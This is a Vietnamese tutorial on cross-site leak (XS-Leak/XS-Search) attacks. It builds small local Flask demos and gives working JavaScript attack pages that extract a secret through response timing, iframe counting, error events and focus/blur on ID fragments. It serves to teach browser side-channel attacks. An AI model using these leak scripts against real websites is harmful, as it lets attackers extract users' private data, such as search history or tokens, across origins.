XS Leak

1. Xs Leak là gì ?

Cross-site leak hay XS leak là một kỹ thuật tấn công ở client side, lợi dụng các side channel để exfiltrate thông tin.

Nghe có vẻ khó hiểu nhưng mình sẽ cố gắng giải thích một cách rõ ràng nhất

Thông thường, điều kiện cần để có thể exploit XS-Leak là trang web đang dính XSS hoặc CSRF. Và điều kiện đủ để có thể exfiltrate được thông tin là ta phải xác định được side channel để làm tín hiệu. Side channel trong browser thì muôn hình vạn trạng, có thể là data lenght, error event, hoặc timing,... Việc xác định side channel còn tùy thuộc rất nhiều vào logic của trang web.

Để lấy ví dụ dễ hiểu, các bạn có thể tưởng tượng việc exploit XS Leak như chúng ta đang giao tiếp thường ngày, việc nhìn vào cử chỉ, nét mặt, giọng điệu của người đối diện bạn có thể hiểu được thái độ của họ, trong việc exploit XS Leak cũng vậy, khi quan sát side channel hay nói cách khác là "cử chỉ, nét mặt, giọng điệu" của trình duyệt ta có thể đoán được những thông tin muốn lấy.

Danh sách các side channel của trình duyệt các bạn có thể tham khảo ở đây: https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels

Để dễ hình dung thì mình sẽ ví dụ đơn giản về flow exploit XSLeak như sau

  • Ta có một trang web banking có tính năng search lịch sử giao dịch thông qua query ?s=

  • Khi query đúng thì sẽ trả về kết quả gần như tức thì, còn khi query sai thì sẽ mất 1 khoảng thời gian nhỏ để web lookup data

  • Dựa vào dấu hiệu là thời gian để thực thi query, ta có thể đoán được người dùng đã giao dịch với ai

  • Để tiến hành tấn công, mình sẽ chuẩn bị sẵn 1 trang attack web có đoạn script JS để thực hiện việc leak data thông qua param ?s=. Và đánh lừa người dùng bất kỳ truy cập vào attack web để script thực thi

Ví dụ mình đề cập ở trên cũng là một dạng khai thác phổ biến của XS-Leak được gọi là XS-Search

Như đã nói ở trên thì XS-Search là một trong những kỹ thuật khai thác XS-Leak phổ biến, kỹ thuật này sẽ lợi dụng Query Based Search Systems để leak data từ attacker website (origin) (view details here)

Nói dễ hiểu là leak data thông qua câu query và một side channel nào đó.

Một số side channel có thể lợi dụng như

A. Timing

Giống như ví dụ ở phần đầu mình đã đề cập thì ta hoàn toàn có thể lợi dụng thời gian thực thi query để leak data. Tuy nhiên việc tính toán, đo lường chính xác thời gian mà không bị ảnh hưởng bởi các yếu tốt thứ 3 bên ngoài như tốc độ mạng, hiệu xuất trình duyệt,... thì khá là khó khăn

Ở đây mình sẽ lấy một demo nho nhỏ để ví dụ, với thời gian response khi query sai được define cố định

from flask import Flask,request
import time

app = Flask(__name__)

@app.route('/')
def search():
    FLAG = "flag{xs_search_learning}"
    s = request.args.get('s')
    if s in FLAG:
        return FLAG
    else:
        time.sleep(0.5)
        return s

if __name__ == '__main__':
    app.run(debug=True)

Dựa vào dấu hiệu là khi query sai thì sẽ sleep 0.5 giây mình có đoạn script exploit từng ký tự flag như sau

<body>
    <button onclick="brute(32)">Active</button>
    <script>
        var flag = "flag{"
        function brute(i) {
            if(i > 127) {return}
            let query = ""
            console.log("Test character: " + String.fromCharCode(i))
            query = flag + encodeURIComponent(String.fromCharCode(i))
            const imgElement = document.createElement("img");
            let startTime = new Date();
            imgElement.onerror = () => {
                let endTime = new Date();
                let delta = endTime - startTime;
                if(delta < 500) {
                    flag = query
                    console.log("Found new character, flag: " + flag)
                    i = 32
                    brute(i)
                } else {
                    brute(i+1)
                }
            }
            imgElement.src = "http://localhost:5000/?s="+query;
            document.body.appendChild(imgElement);
            return 
        }
    </script>
    
</body>

Note: Mình dùng attribute src của tag img để tránh bị lỗi CORS, dùng fetch với mode no-cors cũng cho hiệu quả tương tự

Kết quả sau một khoảng thời gian chạy script mình đã leak được toàn bộ flag

B. Iframe

Frame Counting

Như tên gọi thì chúng ta sẽ dựa vào số lượng iframe loaded để làm dấu hiệu để detect

Mình tiếp tục có một demo nhỏ để mô phỏng như sau

from flask import Flask,request, render_template

app = Flask(__name__)

@app.route('/')
def search():
    FLAG = "flag{xs_search_learning}"
    s = request.args.get('s')
    if s in FLAG:
        return render_template('index.html', FLAG=FLAG)
    else:
        return render_template('index.html', search=s)
        return s

if __name__ == '__main__':
    app.run(debug=True)

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    {% if FLAG %}
        <p>{{ FLAG }}</p>
        <iframe src="http://example.com"></iframe>
    {% else %}
        <p>No FLAG found. You search {{ search }}</p>
    {% endif %}
</body>
</html>

Khi ta search đúng ký tự trong flag thì web sẽ load 1 iframe, dựa vào dấu hiệu này ta sẽ dùng 1 iframe để gọi đến web và đếm số lượng iframe trả về, nếu trả về 0 tức là sai (miss), nếu số lượng là 1 tức là ký tự brute đúng (hit)

Khi miss:

Khi hit

Dựa vào logic này mình có script brute force các ký tự

Mình dùng đoạn script sau để leak

<body>
    <button onclick="brute(32)">Active</button>
    <script>
        var flag = "flag{";

        function brute(i) {
            if (i > 127) { return; }
            // Delete previous iframe
            try { document.querySelector('iframe').remove();} catch(e) {}

            let query = flag + encodeURIComponent(String.fromCharCode(i));
            console.log("Test character: " + String.fromCharCode(i))

            const frame = document.createElement("iframe");
            frame.src = "http://localhost:5000/?s=" + query;
            frame.name = "framecounter"
            document.body.appendChild(frame);
            var win = window.frames.framecounter
            setTimeout(() => {
                console.log(win.length)
                if(win.length > 0) {
                    flag = query
                    console.log("Found new character, flag: " + flag)
                    i = 32
                    brute(i)
                } else {
                    brute(i+1)
                }
            } , 3000)
        }
    </script>
</body>

Kết quả

C. Error based qua việc abusing Chrome XSS Auditor

Tham khảo: https://www.youtube.com/watch?v=HcrQy0C-hEA

Kỹ thuật khai thác này lợi dụng response header X-XSS-Protection để trigger error từ đó dùng làm tín hiệu hit hoặc miss, tuy nhiên header X-XSS-Protection đã deprecated và bị thay thế bằng CSP. Nhưng case này mình vẫn thấy rất hay, đáng để tìm hiểu khi bắt đầu học về XS-Search

3. Một số XS-Leak side channel

Dưới đây là một số side channel có thể tận dụng để leak infor với XS-Leak, để tiết kiệm thời gian thì mình chỉ dựng demo test chứ không viết code khai thác

Mọi side channel mình đều tham khảo từ https://xsleaks.dev/

A. Error Events

Kỹ thuật này lợi dụng việc khi load 1 url hợp lệ và không hợp lệ server sẽ trả về kết quả khác nhau, ví dụ thông thường nếu request hợp lẹ thì response status code sẽ là 200, còn ngược lại có thể là 404, 401 hoặc thậm chí là 5xx. Dựa vào response từ server mà client sẽ quăng error event hoặc không, và dựa vào hành vi này ta sẽ bắt error event để làm dấu hiệu.

Ví dụ mình có code demo 1 web như sau

from flask import Flask, request, render_template, jsonify

app = Flask(__name__)

# Enable CORS
@app.after_request
def add_cors_headers(response):
    response.headers['Access-Control-Allow-Origin'] = '*'
    return response

@app.route('/search/<s>')
def search(s):
    FLAG = "flag{xs_search_learning}"
    
    if s in FLAG:
        return FLAG
    else:
        return jsonify({'error': 'Not Found'}), 404

if __name__ == '__main__':
    app.run(debug=True)

Khi truy cập http://url.com/search/xxxthì giá trị xxxsẽ được dùng để search, nếu hợp lệ sẽ trả về kết quả là flag, còn nếu không sẽ trả về 404.

Dựa vào hành vi này mình có đoạn code sau để trigger error event:

<body>
    <script>
      function probeError(url) {
        let script = document.createElement('script');
        script.src = url;
        script.onload = () => console.log('Onload event triggered');
        script.onerror = () => console.log('Error event triggered');
        document.head.appendChild(script);
      }
      // Returns HTTP 404, the script triggers error event
      probeError('http://localhost:5000/search/123');

      // Returns HTTP 200, the script triggers onload event
      probeError('http://localhost:5000/search/x');
    </script>
</body>

Ta được kết quả:

Lưu ý: ở host được refer tới phải cùng origin với target hoặc được setup cross origin đến target

B. ID Attribute

Để lợi dụng ID attribute làm side channel ta cần hiểu 2 cơ chế.

  • Đầu tiên khi truy cập trang web mà url có chứa fragment, ví dụ http://example.com#secret thì trình duyệt sẽ auto scroll đến element có id là "secret".

  • Thứ hai, khi ta load iframe có fragment như trên và trang web cũng tự động scroll đến element có id đó, nếu element đó là một focusable element thì event focus sẽ thực thi, bên cạnh đó thì event blur cũng sẽ được kích hoạt.

Dựa vào 2 cơ chế trên, ta sẽ leak ID attribute của một focusable element bất kỳ, nếu ta hit thì iframe sẽ tự động focus element đó và event onblur thực thi, còn miss thì sẽ không có gì xảy ra

Ví dụ mình có đoạn code demo sau:

from flask import Flask, request, render_template, jsonify

app = Flask(__name__)

@app.route('/')
def test():
    return render_template('test.html')
                           
if __name__ == '__main__':
    app.run(debug=True)

Test.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <input id="x" value="test" />
</body>
</html>

Mình có đoạn code sau để trigger side channel

<body>
    <script>
      // Listen to onblur event
      onblur = () => {
        alert('Focus was lost, so there is a focusable element with the specified ID');
      }
      
      var ifr = document.createElement('iframe');
      ifr.src = 'http://127.0.0.1:5000/search/x#x'; // auto trigger onblur
      // ifr.src = 'http://127.0.0.1:5000/search/x'; // dont auto trigger onblur

      document.body.appendChild(ifr);
    </script>
</body>

Nếu mình thực thi dòng ifr.src đầu tiên, thì input element có id=x sẽ được focus và onblur tự động được thực thi

Còn khi ta thực thi dòng ifr.src thứ 2, không có input element nào đươc tự động focus, event onblur cũng không thực thi, do đó khi truy cập sẽ chẳng có popup nào

ID Attribute tưởng chừng chỉ là một thuộc tính vô hại nhưng nếu nó được sử dụng để lưu trữ thông tin nhạy cảm, và khi bị leak có thể dẫn đến nhiều hậu quả xấu, như một vài trường hợp sau:

  • Trang web lưu PIN code hoặc OTP vào attribute của form để tự động gửi đi

  • Trang web lưu thông tin nhạy cảm của user như số thẻ ngân hàng, mail,... vào attribute để hiển thị ra ở phá front-end hoặc làm value cho form

  • Hoặc tệ hơn là token hay session được lưu tại id attribute nào đó

  • ....

Bonus: các bạn có thể tìm kiếm các focusable elements tại đây https://allyjs.io/data-tables/focusable.html

C. Navigations

TODO.....

Ngoài những side channel ở trên thì còn rất nhiều kỹ thuật khác nhau để tận dụng, không có một giới hạn nào cụ thể, nên ta có thể tự do sáng tạo để tìm ra side channel tùy thuộc vào logic của từng trang web, ngoài những cái đã được document thì còn rất nhiều biến thể và custome side channel mà chúng ta sẽ gặp phải trong thực tế.

Refer

Last updated